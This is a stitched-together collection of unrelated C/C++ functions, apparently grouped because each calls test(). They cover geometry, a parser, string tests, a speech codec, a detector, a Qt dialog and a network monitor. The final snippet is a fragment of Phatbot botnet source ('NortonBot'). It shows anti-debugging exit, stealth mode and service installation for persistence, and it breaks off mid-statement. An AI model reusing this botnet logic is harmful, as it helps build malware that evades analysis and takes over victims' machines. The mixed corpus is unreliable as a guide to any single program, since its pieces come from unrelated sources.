//----------------------------------------------------------------------------- // BoundaryMap private method definitions //----------------------------------------------------------------------------- void BoundaryMap::computeSignedDistanceField(SparseVoxelMap<float*>& map, const TriangleMesh& mesh) { const float* vertexList = mesh.getVertexList(); const unsigned int* faceList = mesh.getFaceList(); const float *v1, *v2, *v3; unsigned int cMin[3]; unsigned int cMax[3]; float x0 = mDomain.getV1().getX(); float y0 = mDomain.getV1().getY(); float z0 = mDomain.getV1().getZ(); float x[3]; float normal[3]; float dist; // // compute distance // // for each triangle of the mesh for (unsigned int m = 0; m < mesh.getNumFaces(); m++) { std::cout << m << " of " << mesh.getNumFaces() << std::endl; //get triangle vertices v1 = &vertexList[3*faceList[3*m + 0]]; v2 = &vertexList[3*faceList[3*m + 1]]; v3 = &vertexList[3*faceList[3*m + 2]]; // compute bounding box of the triangle this->computeGridCoordinates(cMin, cMax, v1, v2, v3); //std::cout << "cMin[0] = " << cMin[0] << std::endl; //std::cout << "cMin[1] = " << cMin[1] << std::endl; //std::cout << "cMin[2] = " << cMin[2] << std::endl; //std::cout << "cMax[0] = " << cMax[0] << std::endl; //std::cout << "cMax[1] = " << cMax[1] << std::endl; //std::cout << "cMax[2] = " << cMax[2] << std::endl; // for each coordinate within the bounding box for (unsigned int k = cMin[2]; k <= cMax[2]; k++) { for (unsigned int j = cMin[1]; j <= cMax[1]; j++) { for (unsigned int i = cMin[0]; i <= cMax[0]; i++) { // translate coordinate to world coordinates x[0] = x0 + i*mDx; x[1] = y0 + j*mDx; x[2] = z0 + k*mDx; // compute distance to the triangle compute_distance_point_triangle(dist, normal, x, v1, v2, v3); // update sparse voxel map if (dist <= mMaxDist) { Coordinate coord(i, j, k); // if the map already contains distance information // at the current coordinate if (map.contains(coord)) { // check if the previously computed distance is // is greater than [dist]. float prev; float* nodeContent; map.get(nodeContent, coord); prev = nodeContent[NC_DISTANCE]; if (prev > dist) { // if yes, update the map delete[] nodeContent; nodeContent = new float[NC_NUM_ELEMENTS]; nodeContent[NC_DISTANCE] = dist; nodeContent[NC_NORMAL_X] = normal[0]; nodeContent[NC_NORMAL_Y] = normal[1]; nodeContent[NC_NORMAL_Z] = normal[2]; map.add(coord, nodeContent); } } // if not yet contained in the map else { float* nodeContent = new float[NC_NUM_ELEMENTS]; nodeContent[NC_DISTANCE] = dist; nodeContent[NC_NORMAL_X] = normal[0]; nodeContent[NC_NORMAL_Y] = normal[1]; nodeContent[NC_NORMAL_Z] = normal[2]; //std::cout << dist << std::endl; // just add val to the map map.add(coord, nodeContent); } } } } } } // // compute sign of distance // std::cout << "point in mesh test" << std::endl; PointInMeshTest test(mesh, 20); // for each coordinate in the signed distance field std::list<Coordinate>::const_iterator& it = mNodeContents.begin(); std::list<Coordinate>::const_iterator& end = mNodeContents.end(); Coordinate c; for (; it != end; it++) { // translate coordinate to world coordinate c = *it; x[0] = x0 + c.i*mDx; x[1] = y0 + c.j*mDx; x[2] = z0 + c.k*mDx; // if [x] is inside the mesh if (test.isContained(Vector3f(x[0], x[1], x[2]))) { // negate the distances in the signed distance field float* nodeContent; mNodeContents.get(nodeContent, c); nodeContent[NC_DISTANCE] = -nodeContent[NC_DISTANCE]; } } std::cout << "point in mesh test finished" << std::endl; }
void GPUDrawScanlineCodeGenerator::Generate() { push(esi); push(edi); Init(); align(16); L("loop"); // GSVector4i test = m_test[7 + (steps & (steps >> 31))]; mov(edx, ecx); sar(edx, 31); and(edx, ecx); shl(edx, 4); movdqa(xmm7, ptr[edx + (size_t)&m_test[7]]); // movdqu(xmm1, ptr[edi]); movq(xmm1, qword[edi]); movhps(xmm1, qword[edi + 8]); // ecx = steps // esi = tex (tme) // edi = fb // xmm1 = fd // xmm2 = s // xmm3 = t // xmm4 = r // xmm5 = g // xmm6 = b // xmm7 = test TestMask(); SampleTexture(); // xmm1 = fd // xmm3 = a // xmm4 = r // xmm5 = g // xmm6 = b // xmm7 = test // xmm0, xmm2 = free ColorTFX(); AlphaBlend(); Dither(); WriteFrame(); L("step"); // if(steps <= 0) break; test(ecx, ecx); jle("exit", T_NEAR); Step(); jmp("loop", T_NEAR); L("exit"); pop(edi); pop(esi); ret(8); }
int main(int argc, char **argv) { test(); return 0; }
ExprPtr Parser::primaryExpression(bool se) { ExprPtr ret; /* TODO if(test(TMinus)) { return inScope(new UnaryExpr(PrimaryExpression(se), Token.Minus)); }*/ if(token == TCase) { ret = patternMatch(se); } else if (token == TIdent || token == TTypeIdent) { string const& name = nextIdent(se); auto varDecl = resolveLocal(currentScope, name); if(varDecl) ret = inScope(new VarRef(varDecl)); else ret = inScope(new NamedRef(name)); } else if(token == TConstNum) { if(tokenStr.find('.') != string::npos) ret = inScope(new FConstExpr(tokenNum(se))); else ret = inScope(new ConstExpr(tokenNum(se))); } else if(test(TLParen)) { ret = expression(false); expect(TRParen); } else if (firstControlSeq[token]) { ret = controlSeqExpression(se); } else { throw CompileError(CEParseError, currentLine); } while(true) { switch(token) { case TLParen: { next(false); auto call = inScope(new CallExpr()); call->func = ret; ret = call; if(token != TRParen) { do { ExprPtr const& param = expression(false); call->parameters.push_back(param); } while(test(TComma)); } expect(TRParen, se); break; } /* case Token.Dot: { Next(false); var name = ExpectIdent(se); ret = InScope(new SlotRef(ret, name)); break; }*/ default: return ret; } } }
IntrusiveRefCntPtr<Module> Parser::module() { mod = new Module; expect(TModule); expectPeek(TTypeIdent); mod->name = nextIdent(); expect(TLParen); if(token != TRParen) { do { if(token != TIdent && token != TTypeIdent) throw CompileError(CEUnexpectedToken, -1); string const& name = nextIdent(); mod->exportedSymbols.push_back(name); } while(test(TComma)); } expect(TRParen, true); do { if(test(TImport)) { expectPeek(TTypeIdent); string const& name = nextIdent(true); mod->imports.push_back(Import(name)); } else if(token != TSemicolon) // TODO: Make into set { break; } } while(test(TSemicolon)); do { if(token == TTypeIdent) { structBody(); } else if(token == TIdent) { enterTypeScope(); funcDef(true); exitTypeScope(); } else if(test(TClass)) { expectPeek(TTypeIdent); string const& name = nextIdent(false); IntrusiveRefCntPtr<Class> def(new Class(name)); enterTypeScope(); typeParamList(def->typeParams, false); expect(TLBrace); do { if (token == TIdent) { funcDef(false); } } while (test(TSemicolon)); expect(TRBrace, true); exitTypeScope(); mod->classDefs[def->name] = def; } } while(test(TSemicolon)); expect(TEof); return mod; }
int main() { test(XML{}); test(JSON{}); }
int main(int, char**) { { typedef std::string S; test(S(""), 'c', 0, S::npos); test(S(""), 'c', 1, S::npos); test(S("abcde"), 'c', 0, 2); test(S("abcde"), 'c', 1, 2); test(S("abcde"), 'c', 2, 2); test(S("abcde"), 'c', 4, S::npos); test(S("abcde"), 'c', 5, S::npos); test(S("abcde"), 'c', 6, S::npos); test(S("abcdeabcde"), 'c', 0, 2); test(S("abcdeabcde"), 'c', 1, 2); test(S("abcdeabcde"), 'c', 5, 7); test(S("abcdeabcde"), 'c', 9, S::npos); test(S("abcdeabcde"), 'c', 10, S::npos); test(S("abcdeabcde"), 'c', 11, S::npos); test(S("abcdeabcdeabcdeabcde"), 'c', 0, 2); test(S("abcdeabcdeabcdeabcde"), 'c', 1, 2); test(S("abcdeabcdeabcdeabcde"), 'c', 10, 12); test(S("abcdeabcdeabcdeabcde"), 'c', 19, S::npos); test(S("abcdeabcdeabcdeabcde"), 'c', 20, S::npos); test(S("abcdeabcdeabcdeabcde"), 'c', 21, S::npos); test(S(""), 'c', S::npos); test(S("abcde"), 'c', 2); test(S("abcdeabcde"), 'c', 2); test(S("abcdeabcdeabcdeabcde"), 'c', 2); } #if TEST_STD_VER >= 11 { typedef std::basic_string<char, std::char_traits<char>, min_allocator<char>> S; test(S(""), 'c', 0, S::npos); test(S(""), 'c', 1, S::npos); test(S("abcde"), 'c', 0, 2); test(S("abcde"), 'c', 1, 2); test(S("abcde"), 'c', 2, 2); test(S("abcde"), 'c', 4, S::npos); test(S("abcde"), 'c', 5, S::npos); test(S("abcde"), 'c', 6, S::npos); test(S("abcdeabcde"), 'c', 0, 2); test(S("abcdeabcde"), 'c', 1, 2); test(S("abcdeabcde"), 'c', 5, 7); test(S("abcdeabcde"), 'c', 9, S::npos); test(S("abcdeabcde"), 'c', 10, S::npos); test(S("abcdeabcde"), 'c', 11, S::npos); test(S("abcdeabcdeabcdeabcde"), 'c', 0, 2); test(S("abcdeabcdeabcdeabcde"), 'c', 1, 2); test(S("abcdeabcdeabcdeabcde"), 'c', 10, 12); test(S("abcdeabcdeabcdeabcde"), 'c', 19, S::npos); test(S("abcdeabcdeabcdeabcde"), 'c', 20, S::npos); test(S("abcdeabcdeabcdeabcde"), 'c', 21, S::npos); test(S(""), 'c', S::npos); test(S("abcde"), 'c', 2); test(S("abcdeabcde"), 'c', 2); test(S("abcdeabcdeabcdeabcde"), 'c', 2); } #endif return 0; }
int MarketDefaultTest::testCfgDefaults(Value* stream) { return test(stream, &Tester::testCfgDefaults, mErrorLevel); }
/************************************************************************* * * FUNCTION: Qua_gain() * * PURPOSE: Quantization of pitch and codebook gains. * (using predicted codebook gain) * *************************************************************************/ Word16 Qua_gain( /* o : index of quantization. */ enum Mode mode, /* i : AMR mode */ Word16 exp_gcode0, /* i : predicted CB gain (exponent), Q0 */ Word16 frac_gcode0, /* i : predicted CB gain (fraction), Q15 */ Word16 frac_coeff[], /* i : energy coeff. (5), fraction part, Q15 */ Word16 exp_coeff[], /* i : energy coeff. (5), exponent part, Q0 */ /* (frac_coeff and exp_coeff computed in */ /* calc_filt_energies()) */ Word16 gp_limit, /* i : pitch gain limit */ Word16 *gain_pit, /* o : Pitch gain, Q14 */ Word16 *gain_cod, /* o : Code gain, Q1 */ Word16 *qua_ener_MR122, /* o : quantized energy error, Q10 */ /* (for MR122 MA predictor update) */ Word16 *qua_ener /* o : quantized energy error, Q10 */ /* (for other MA predictor update) */ ) { const Word16 *p; Word16 i, j, index = 0; Word16 gcode0, e_max, exp_code; Word16 g_pitch, g2_pitch, g_code, g2_code, g_pit_cod; Word16 coeff[5], coeff_lo[5]; Word16 exp_max[5]; Word32 L_tmp, dist_min; const Word16 *table_gain; Word16 table_len; test(); test(); test(); if ( sub (mode, MR102) == 0 || sub (mode, MR74) == 0 || sub (mode, MR67) == 0) { table_len = VQ_SIZE_HIGHRATES; move16 (); table_gain = table_gain_highrates; move16 (); } else { table_len = VQ_SIZE_LOWRATES; move16 (); table_gain = table_gain_lowrates; move16 (); } /*-------------------------------------------------------------------* * predicted codebook gain * * ~~~~~~~~~~~~~~~~~~~~~~~ * * gc0 = 2^exp_gcode0 + 2^frac_gcode0 * * * * gcode0 (Q14) = 2^14*2^frac_gcode0 = gc0 * 2^(14-exp_gcode0) * *-------------------------------------------------------------------*/ gcode0 = extract_l(Pow2(14, frac_gcode0)); /*-------------------------------------------------------------------* * Scaling considerations: * * ~~~~~~~~~~~~~~~~~~~~~~~ * *-------------------------------------------------------------------*/ /* * The error energy (sum) to be minimized consists of five terms, t[0..4]. * * t[0] = gp^2 * <y1 y1> * t[1] = -2*gp * <xn y1> * t[2] = gc^2 * <y2 y2> * t[3] = -2*gc * <xn y2> * t[4] = 2*gp*gc * <y1 y2> * */ /* determine the scaling exponent for g_code: ec = ec0 - 11 */ exp_code = sub(exp_gcode0, 11); /* calculate exp_max[i] = s[i]-1 */ exp_max[0] = sub(exp_coeff[0], 13); move16 (); exp_max[1] = sub(exp_coeff[1], 14); move16 (); exp_max[2] = add(exp_coeff[2], add(15, shl(exp_code, 1))); move16 (); exp_max[3] = add(exp_coeff[3], exp_code); move16 (); exp_max[4] = add(exp_coeff[4], add(1, exp_code)); move16 (); /*-------------------------------------------------------------------* * Find maximum exponent: * * ~~~~~~~~~~~~~~~~~~~~~~ * * * * For the sum operation, all terms must have the same scaling; * * that scaling should be low enough to prevent overflow. There- * * fore, the maximum scale is determined and all coefficients are * * re-scaled: * * * * e_max = max(exp_max[i]) + 1; * * e = exp_max[i]-e_max; e <= 0! * * c[i] = c[i]*2^e * *-------------------------------------------------------------------*/ e_max = exp_max[0]; move16 (); for (i = 1; i < 5; i++) { move16(); test(); if (sub(exp_max[i], e_max) > 0) { e_max = exp_max[i]; move16 (); } } e_max = add(e_max, 1); /* To avoid overflow */ for (i = 0; i < 5; i++) { j = sub(e_max, exp_max[i]); L_tmp = L_deposit_h(frac_coeff[i]); L_tmp = L_shr(L_tmp, j); L_Extract(L_tmp, &coeff[i], &coeff_lo[i]); } /*-------------------------------------------------------------------* * Codebook search: * * ~~~~~~~~~~~~~~~~ * * * * For each pair (g_pitch, g_fac) in the table calculate the * * terms t[0..4] and sum them up; the result is the mean squared * * error for the quantized gains from the table. The index for the * * minimum MSE is stored and finally used to retrieve the quantized * * gains * *-------------------------------------------------------------------*/ /* start with "infinite" MSE */ dist_min = MAX_32; move32(); p = &table_gain[0]; move16 (); for (i = 0; i < table_len; i++) { g_pitch = *p++; move16 (); g_code = *p++; move16 (); /* this is g_fac */ p++; /* skip log2(g_fac) */ p++; /* skip 20*log10(g_fac) */ test (); if (sub(g_pitch, gp_limit) <= 0) { g_code = mult(g_code, gcode0); g2_pitch = mult(g_pitch, g_pitch); g2_code = mult(g_code, g_code); g_pit_cod = mult(g_code, g_pitch); L_tmp = Mpy_32_16(coeff[0], coeff_lo[0], g2_pitch); L_tmp = L_add(L_tmp, Mpy_32_16(coeff[1], coeff_lo[1], g_pitch)); L_tmp = L_add(L_tmp, Mpy_32_16(coeff[2], coeff_lo[2], g2_code)); L_tmp = L_add(L_tmp, Mpy_32_16(coeff[3], coeff_lo[3], g_code)); L_tmp = L_add(L_tmp, Mpy_32_16(coeff[4], coeff_lo[4], g_pit_cod)); /* store table index if MSE for this index is lower than the minimum MSE seen so far */ test (); if (L_sub(L_tmp, dist_min) < (Word32) 0) { dist_min = L_tmp; move32 (); index = i; move16 (); } } } /*------------------------------------------------------------------* * read quantized gains and new values for MA predictor memories * * ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ * *------------------------------------------------------------------*/ /* Read the quantized gains */ p = &table_gain[shl (index, 2)]; move16 (); *gain_pit = *p++; move16(); g_code = *p++; move16(); *qua_ener_MR122 = *p++; move16(); *qua_ener = *p; move16(); /*------------------------------------------------------------------* * calculate final fixed codebook gain: * * ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ * * * * gc = gc0 * g * *------------------------------------------------------------------*/ L_tmp = L_mult(g_code, gcode0); L_tmp = L_shr(L_tmp, sub(10, exp_gcode0)); *gain_cod = extract_h(L_tmp); return index; }
int main(int argc, char *argv[]) { test("1", 0, 10, 1); test("0", -2, 5, 1); test("0", 2, 5, 0); test("0", 2, LLONG_MAX, 0); test("-2", 0, LLONG_MAX, 0); test("0", -5, LLONG_MAX, 1); test("-3", -3, LLONG_MAX, 1); test("-9223372036854775808", LLONG_MIN, LLONG_MAX, 1); test("9223372036854775807", LLONG_MIN, LLONG_MAX, 1); test("-9223372036854775809", LLONG_MIN, LLONG_MAX, 0); test("9223372036854775808", LLONG_MIN, LLONG_MAX, 0); test("1000000000000000000000000", LLONG_MIN, LLONG_MAX, 0); test("-1000000000000000000000000", LLONG_MIN, LLONG_MAX, 0); test("-2", 10, -1, 0); test("-2", -10, -1, 1); test("-20", -10, -1, 0); test("20", -10, -1, 0); return (fail); }
int MarketDefaultTest::testHighLevel(Value* stream) { return test(stream, &Tester::testHighLevel, mErrorLevel); }
static void close_dummy(void) { test(1 == 1); }
int Detector::detect(IntegralImage &intg, int max_num, CB_RectT *pt_rects, int &subwin_count) { int image_w = intg.width; int image_h = intg.height; CB_PointT tpl_size = ptr_model->p_ft_param->getTemplateSize(); SubwinInfoT subwin; subwin.image_size.x = image_w; subwin.image_size.y = image_h; subwin.win_size = tpl_size; double cur_scan_scale = 1.0; int detection_count = 0; subwin_count = 0; while (subwin.win_size.x < image_w && subwin.win_size.y < image_h) { if (subwin.win_size.x < param.min_win_w || subwin.win_size.x > param.max_win_w) { cur_scan_scale *= param.scan_scale_step; subwin.win_size.x = tpl_size.x * cur_scan_scale; subwin.win_size.y = tpl_size.y * cur_scan_scale; continue; } subwin.win_pos.y = param.hot_rect.top; while (subwin.win_pos.y + subwin.win_size.y < param.hot_rect.bottom - 1) { subwin.win_pos.x = param.hot_rect.left; while (subwin.win_pos.x + subwin.win_size.x < param.hot_rect.right - 1) { subwin_count++; if (test(intg, subwin) <= 0) { subwin.win_pos.x += param.scan_shift_step * cur_scan_scale; continue; } CB_RectT rect; rect.left = subwin.win_pos.x; rect.right = rect.left + subwin.win_size.x - 1; rect.top = subwin.win_pos.y; rect.bottom = rect.top + subwin.win_size.y - 1; pt_rects[detection_count] = rect; detection_count++; if (detection_count >= max_num) { return detection_count; } subwin.win_pos.x += param.scan_shift_step * cur_scan_scale; } subwin.win_pos.y += param.scan_shift_step * cur_scan_scale; } cur_scan_scale *= param.scan_scale_step; subwin.win_size.x = tpl_size.x * cur_scan_scale; subwin.win_size.y = tpl_size.y * cur_scan_scale; } printf("%d\n", detection_count); return detection_count; }
int main(int argc, const char * argv[]) { test(); }
// test streams bool FBTestPluginAPI::testStreams() { StreamsTest test( m_host ); return test.run(); }
int main() { test(); return boost::report_errors(); }
int RssRegexpDlg::exec() { int r; if(m_feeds.isEmpty() || g_queues.isEmpty()) return QDialog::Rejected; for(int i=0;i<m_feeds.size();i++) { comboFeed->addItem(m_feeds[i].name); comboFeed->setItemData(i, m_feeds[i].url); if(m_feeds[i].url == m_regexp.source) comboFeed->setCurrentIndex(i); } g_queuesLock.lockForRead(); for(int i=0;i<g_queues.size();i++) { comboQueue->addItem(g_queues[i]->name()); comboQueue->setItemData(i, g_queues[i]->uuid()); comboQueue->setItemData(i, g_queues[i]->defaultDirectory(), Qt::UserRole+1); if(g_queues[i]->uuid() == m_regexp.queueUUID) comboQueue->setCurrentIndex(i); } g_queuesLock.unlock(); if(m_regexp.target.isEmpty()) { m_nLastQueue = comboQueue->currentIndex(); if(m_nLastQueue != -1) m_regexp.target = comboQueue->itemData(m_nLastQueue, Qt::UserRole+1).toString(); else m_regexp.target = QDir::homePath(); } lineExpression->setText(m_regexp.regexp.pattern()); lineTarget->setText(m_regexp.target); switch(m_regexp.tvs) { case RssRegexp::None: radioTVSNone->setChecked(true); break; case RssRegexp::SeasonBased: radioTVSSeason->setChecked(true); break; case RssRegexp::EpisodeBased: radioTVSEpisode->setChecked(true); break; case RssRegexp::DateBased: radioTVSDate->setChecked(true); break; } lineTVSFrom->setText(m_regexp.from); lineTVSTo->setText(m_regexp.to); checkTVSRepacks->setChecked(m_regexp.includeRepacks); checkTVSTrailers->setChecked(m_regexp.includeTrailers); checkTVSNoManuals->setChecked(m_regexp.excludeManuals); checkAddPaused->setChecked(m_regexp.addPaused); if(!m_regexp.linkRegexp.isEmpty()) { radioParsingExtract->setChecked(true); lineParsingRegexp->setText(m_regexp.linkRegexp.pattern()); } connect(comboQueue, SIGNAL(currentIndexChanged(int)), this, SLOT(queueChanged(int))); test(); updateParsing(); if((r = QDialog::exec()) == QDialog::Accepted) { m_regexp.regexp = QRegExp(lineExpression->text(), Qt::CaseInsensitive); m_regexp.target = lineTarget->text(); m_regexp.queueUUID = comboQueue->itemData(comboQueue->currentIndex()).toString(); m_regexp.source = comboFeed->itemData(comboFeed->currentIndex()).toString(); m_regexp.from = lineTVSFrom->text(); m_regexp.to = lineTVSTo->text(); if(radioTVSNone->isChecked()) m_regexp.tvs = RssRegexp::None; else if(radioTVSSeason->isChecked()) m_regexp.tvs = RssRegexp::SeasonBased; else if(radioTVSEpisode->isChecked()) m_regexp.tvs = RssRegexp::EpisodeBased; else m_regexp.tvs = RssRegexp::DateBased; m_strFeedName = comboFeed->currentText(); m_regexp.includeRepacks = checkTVSRepacks->isChecked(); m_regexp.includeTrailers = checkTVSTrailers->isChecked(); m_regexp.excludeManuals = checkTVSNoManuals->isChecked(); m_regexp.addPaused = checkAddPaused->isChecked(); m_regexp.linkRegexp = QRegExp(lineParsingRegexp->text(), Qt::CaseInsensitive); } return r; }
int main() { MyTest test("ask"); test.run(); return 0; }
void test_lcm(void) { test(__FILE__, s, sizeof (s) / sizeof (char *)); }
static void run_(testcase* test, const char* name) { fprintf(stderr, "\n[ ******** STARTING TESTCASE '%s' ******** ]\n", name); reset_timers(); test(); }
/** * \brief Start-Funktion der Testumgebung * * Diese Funktion wird einmal beim Starten der Testumgebung * aufgerufen. */ TEFUNC void initialize(int /*argc*/, char** /*argv*/) { // --------- Ein wenig Testkram, ist unbedeutetnd ------------- orientationInit.normalize(); Quaternion test(0,M_PI/2,M_PI/2); cout << test << endl << M_PI/2 << endl << test.getEulerRotation() << endl; // exit (0); //----------------- uhr initialisieren -------------------- timer.init(); // --- Anlegen der Zeiger und Objekte mit denen gearbeitet werden soll ---- RigidBodyPtr body; GeometryPtr boxGeo; // Erste id ist null. Wird dann hochgezählt. Id id(Id::typeBox,0); // -------------- Einfache Rotation ----------- //Euler id.setNumber(0); body = rigidBodySystemEuler.create(id); body->setPosition(positionInit); body->setMass(massInit); body->setOrientation(orientationInit); body->setVelocity(velocityInit); body->setAngularVelocity(angularVelocityInit); boxGeo = geometrySystem.createBox(body, boxScaleInit); boxGeo->setBounciness(0.6); boxGeo->setColor(Graphics::red); //Runge-Kutta id.setNumber(1); body = rigidBodySystemRunge.create(id); body->setPosition(Vec3(-300.0, 0.0, 0.0)); body->setPosition(positionInit); body->setMass(massInit); body->setOrientation(orientationInit); body->setVelocity(velocityInit); body->setAngularVelocity(angularVelocityInit); boxGeo = geometrySystem.createBox(body, boxScaleInit); boxGeo->setBounciness(0.6); boxGeo->setColor(Graphics::blue); // Verlet-Baltman id.setNumber(2); body = rigidBodySystemVerlet.create(id); body->setPosition(positionInit); body->setMass(massInit); body->setOrientation(orientationInit); body->setVelocity(velocityInit); body->setAngularVelocity(angularVelocityInit); boxGeo = geometrySystem.createBox(body, boxScaleInit); boxGeo->setBounciness(0.6); boxGeo->setColor(Graphics::green); referenceBody->setPosition(positionInit); referenceBody->setMass(massInit); referenceBody->setOrientation(orientationInit); referenceBody->setVelocity(velocityInit); referenceBody->setAngularVelocity(angularVelocityInit); boxGeo = geometrySystem.createBox(referenceBody, boxScaleInit); boxGeo->setBounciness(0.6); boxGeo->setColor(Graphics::yellow); // ------------- Keine Visosity ------------- rigidBodySystemEuler.disableViscosity(); rigidBodySystemRunge.disableViscosity(); rigidBodySystemVerlet.disableViscosity(); }
std::vector<std::string> * NetworkModule::getDatas(void) { std::ostringstream s; short network_layer; short link_layer; int mib[6]; char * buf = NULL, * lim, * next; size_t len; struct if_msghdr * ifm; static int64_t prev_ipackets; static int64_t prev_opackets; static int64_t prev_ibytes; static int64_t prev_obytes; static_cast<void>(network_layer); static_cast<void>(prev_ipackets); static_cast<void>(prev_opackets); int64_t ipackets = 0; int64_t opackets = 0; int64_t ibytes = 0; int64_t obytes = 0; mib[0] = CTL_NET; // networking subsystem mib[1] = PF_ROUTE; // type of information mib[2] = 0; // protocol (IPPROTO_xxx) mib[3] = 0; // address family mib[4] = NET_RT_IFLIST2; // operation mib[5] = 0; this->_datas = new std::vector<std::string>; if (sysctl(mib, 6, NULL, &len, NULL, 0) < 0) return this->_datas; buf = new char[len]; if (sysctl(mib, 6, buf, &len, NULL, 0) < 0) { if (buf) free(buf); return this->_datas; } lim = buf + len; for (next = buf; next < lim; ) { network_layer = link_layer = 0; ifm = reinterpret_cast<struct if_msghdr *>(next); next += ifm->ifm_msglen; if (ifm->ifm_type == RTM_IFINFO2) { struct if_msghdr2 *if2m = reinterpret_cast<struct if_msghdr2 *>(ifm); if(if2m->ifm_data.ifi_type!=18) { /* do not count loopback traffic */ opackets += if2m->ifm_data.ifi_opackets; ipackets += if2m->ifm_data.ifi_ipackets; obytes += if2m->ifm_data.ifi_obytes; ibytes += if2m->ifm_data.ifi_ibytes; } } } float delta_obytes = obytes - prev_obytes; float delta_ibytes = ibytes - prev_ibytes; free(buf); prev_ipackets = ipackets; prev_opackets = opackets; prev_ibytes = ibytes; prev_obytes = obytes; // printf("total network bytes input: %f\n", (double) delta_ibytes); // printf("total network bytes output: %f\n", (double) delta_obytes); // double result = ((double) delta_obytes + delta_ibytes) / ((double) 1024 * 1024 * (250.0 / 1000.0)); double net = getNetwork(); delta_ibytes /= pow(10, 6); delta_obytes /= pow(10, 6); this->_datas = new std::vector<std::string>; int l = strlen("NETWORK THROUGHPUT"); int pos = static_cast<int>((34 - l) / 2); int i; s.str(std::string()); s << '<'; for (i = 0; i + 1 < pos - 1; i++) { s << '-'; } s << " NETWORK THROUGHOUT "; for (i = pos + l + 2; i < 34; i++) { s << '-'; } s << '>'; std::string test(s.str()); this->_datas->push_back(test); s.str(std::string()); s << "Download : " << delta_ibytes << " Mb/s"; std::string data1(s.str()); // this->_datas->push_back("download : "); this->_datas->push_back(data1); s.clear();//clear any bits set s.str(std::string()); s << "Upload : " << delta_obytes << " Mb/s"; std::string data2(s.str()); // this->_datas->push_back("upload : "); this->_datas->push_back(data2); return this->_datas; }
IntrusiveRefCntPtr<FuncDef> Parser::funcDef(bool allowImplicitTypeVars) { string const& name = nextIdent(false); // TODO: Always surround this in a type scope? IntrusiveRefCntPtr<FuncDef> def(new FuncDef(name)); int paramCount = 0; enterFunction(def); enterScope(new Scope); if(test(TLParen)) { if(token != TRParen) { do { TypePtr type; string paramName; if(allowImplicitTypeVars) { paramName = expectIdent(); type = typeNameOrNewVar(false); } else { type = maybeType(false); if(! type) { paramName = expectIdent(); type = typeName(false); } } declParam(def, paramName, type, ¶mCount); } while(test(TComma)); } expect(TRParen, true); } TypePtr returnType; if(firstType[token] || token == TIdent) // TODO: Types may be TIdent too, in certain circumstances { returnType = typeNameOrNewVar(true); } if(test(TLBrace)) { auto const& body = statements(); expect(TRBrace, true); def->body = exitScope<Expr>(body); } def->returnType = returnType; assert(paramCount == def->parameters.size()); // TODO: Check for name collision mod->functions[def->name] = def; exitFunction(); return def; }
int main() { if (test(2) != 0) abort (); return 0; }
void Parser::constructor(string const& name, IntrusiveRefCntPtr<TypeDef> type, TypePtr const& typeRef) { IntrusiveRefCntPtr<TypeConstructor> ctor(new TypeConstructor(name)); type->constructors.push_back(ctor); ctor->type = typeRef; expect(TLParen); if(token != TRParen) { do { bool isLet = test(TLet); string name; // TODO: Common pattern? TypePtr type = maybeType(false); if(! type) { name = expectIdent(); type = typeName(false); } ctor->members.push_back(TypeMember(name, type)); ++ctor->ctorParams; } while(test(TComma)); } { string const& ctorName = name; // Constructor function IntrusiveRefCntPtr<FuncDef> ctorFunc(new FuncDef(ctorName)); enterFunction(ctorFunc); enterScope(new Scope); // Constructor function has the same type parameters for(auto& p : type->typeParams) ctorFunc->typeParams.push_back(p); int dummy = 0; IntrusiveRefCntPtr<CreateExpr> body(new CreateExpr()); body->ctor = ctor; for(int i = 0; i < ctor->ctorParams; ++i) { auto& member = ctor->members[i]; auto p = declParam(ctorFunc, member.name, member.type->fresh(), &dummy); body->parameters.push_back(ExprPtr(new VarRef(p))); } ctorFunc->body = exitScope<Expr>(body); ctorFunc->returnType = typeRef; // TODO: Check for name collision mod->functions[ctorName] = ctorFunc; mod->constructorDefs[ctorName] = ctor; exitFunction(); } expect(TRParen, true); }
int CMainCtrl::Main(const char *szCmdLine, const char *szArgv0) { m_bRunning=true; m_bHashCheckFailed=false; if(szArgv0) m_sArgv0.Assign(szArgv0); else m_sArgv0.Assign(""); if(szCmdLine) m_sCmdLine.Assign(szCmdLine); else m_sCmdLine.Assign(""); #ifdef LINUX // make the segmentation violation signal ignored signal(SIGSEGV, SIG_IGN); // make the broken pipe signal ignored signal(SIGPIPE, SIG_IGN); #endif // LINUX // Parse command line m_cCmdLine.Parse(szCmdLine); // Activate debugging console if(m_cCmdLine.m_cConfig.bDebug) m_cConsDbg.Init(m_cCmdLine.m_cConfig.iDebugLevel); // Activate sockets g_bSocketsRunning=true; #ifdef _WIN32 // Detect if being debugged if(m_cDebugDetect.IsDebug()) { #ifdef DBGCONSOLE m_cConsDbg.Log(5, "Being debugged, exiting...\n"); #endif // DBGCONSOLE m_bRunning=false; ExitProcess(1); } #endif // _WIN32 #ifdef DBGCONSOLE m_cConsDbg.Log(5, "Command line: \"%s\"...\n", szCmdLine); #endif // DBGCONSOLE m_sNameVerStr.Format("NortonBot (%s) \"%s\" on \"%s\"", VERSION_PHATBOT, SYS_BUILD, SYS_PLATFORM); #ifdef DBGCONSOLE m_cConsDbg.Log(1, "%s starting up...\n", m_sNameVerStr.CStr()); m_cConsDbg.Log(2, "Debugging with debuglevel of %d...\n", m_cCmdLine.m_cConfig.iDebugLevel); #endif // DBGCONSOLE #ifdef _DEBUG test(); // while(true) Sleep(5000); #endif // _DEBUG // Initialize base subsystems, don't swap m_cCommands.Init(); #ifdef DBGCONSOLE m_cConsDbg.Log(5, "Commands module initialized...\n"); #endif // DBGCONSOLE m_cCVar.Init(); #ifdef DBGCONSOLE m_cConsDbg.Log(5, "CVar module initialized...\n"); #endif // DBGCONSOLE m_cMac.Init(); #ifdef DBGCONSOLE m_cConsDbg.Log(5, "CMac module initialized...\n"); #endif // DBGCONSOLE m_cBot.Init(); #ifdef DBGCONSOLE m_cConsDbg.Log(5, "CBot module initialized...\n"); #endif // DBGCONSOLE #ifdef WIN32 if(g_pMainCtrl->m_cBot.do_stealth.bValue) { do_stealth(); } if(m_cCmdLine.m_cConfig.bService || m_cBot.as_service.bValue) { #ifdef DBGCONSOLE m_cConsDbg.Log(5, "Starting service thread...\n"); #endif // DBGCONSOLE m_cService.Start(false); } #endif // WIN32 #ifdef DBGCONSOLE m_cConsDbg.Log(5, "Installing bot...\n"); #endif // DBGCONSOLE if(m_cBot.as_enabled.bValue || m_cBot.as_service.bValue) 